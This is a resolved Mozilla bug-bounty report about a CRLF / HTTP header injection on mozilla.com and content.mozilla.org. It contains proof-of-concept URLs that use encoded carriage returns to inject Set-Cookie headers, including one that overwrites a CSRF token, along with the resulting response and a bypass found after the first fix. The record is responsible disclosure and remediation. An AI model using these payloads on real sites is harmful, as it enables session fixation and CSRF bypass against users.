[mozilla.com] [content.mozilla.org] CRLF / HTTP Header Injection

RESOLVED FIXED

Status

www.mozilla.org
Bedrock
RESOLVED FIXED
11 months ago
29 days ago

People

(Reporter: Sergey Bobrov, Unassigned)

Tracking

({sec-moderate, wsec-http-header-inject})

Production
sec-moderate, wsec-http-header-inject
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [reporter-external] [web-bounty-form] [verif?], URL)

(Reporter)

Description

11 months ago
PoC (any browser except FireFox):
https://mozilla.com/%23%0dSet-Cookie:crlf=injection

https://content.mozilla.org/%23%0dSet-Cookie:csrftoken=injection;domain=.mozilla.org;

HTTP Response:

HTTP/1.1 302 Moved Temporarily
Content-Type: text/plain
Date: Tue, 14 Jun 2016 20:19:55 GMT
Location: https://www.mozilla.com//#                            <= injection \r
Set-Cookie:crlf=injection


This vulnerability could be used in combination with others. For example, XSS via Cookie or session fixation.
Also, it can be used to bypass CSRF protection on Django web applications.
Flags: sec-bounty?
(Reporter)

Updated

11 months ago

Comment 1

11 months ago
Somewhat limited by the maximum length of the overwritten header, this bug is very similar to other issues we've had just like it, such as bug 1229680 and bug 1229996.
Status: UNCONFIRMED → NEW
Component: Other → Bedrock
Ever confirmed: true
Keywords: sec-high, wsec-http-header-inject
Product: Websites → www.mozilla.org
See Also: → bug 1229680, bug 1229996
Summary: [mozilla.com] [content.mozilla.org] CRLF Injection → [mozilla.com] [content.mozilla.org] CRLF / HTTP Header Injection
Version: unspecified → Production
Depends on: 1280136
This was an especially difficult issue to confirm and fix, as the carriage returns screwed up most normal methods of inspection.

Thank you for your report. We've altered the affected cluster to protect against the described attack and are working to resolve the underlying technical problem that led to this issue.

I verified that Chrome is interpreting "One: Two\r\nThree: Four\rFive: Six\r\n" as three headers, rather than two headers, which does not match Firefox and libcurl's behavior. We strongly advise reporting this issue to the browser(s) you found to be affected, since that's a completely unexpected behavior to us, and permitted an unusual attack surface.

Theoretically resolving as FIXED, but please feel free to REOPEN within the next week or two if you find any further issues with this specific attack vector.
Status: NEW → RESOLVED
Last Resolved: 11 months ago
Resolution: --- → FIXED
(Reporter)

Comment 3

11 months ago
Seems mozilla.com still vulnerable.

https://mozilla.com/%0aSet-Cookie:crlf=injection

>> unable to process paths containing %0D

https://mozilla.com/%0dSet-Cookie:crlf=injection

Location: https://www.mozilla.com//\r
Set-Cookie:crlf=injection
Hrm. More testing, one moment.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Yup. Fixed an ordering error. Try again?
(Reporter)

Comment 6

11 months ago
Yes, now vuln fixed.
Okay. Thank you, again! You find the most interesting bugs with these things. Very appreciated. Please let us know if you file a bug with Chrome or any other browsers, so that we can find them from here.
Status: REOPENED → RESOLVED
Last Resolved: 11 months ago11 months ago
Resolution: --- → FIXED
This is less severe than bug 1229680 since the direct XSS risk is not there. Cookie fixation attacks against mozilla.org are still a potential concern.
Flags: sec-bounty? → sec-bounty+
Keywords: sec-high → sec-moderate
Group: websites-security
You need to log in before you can comment on or make changes to this bug.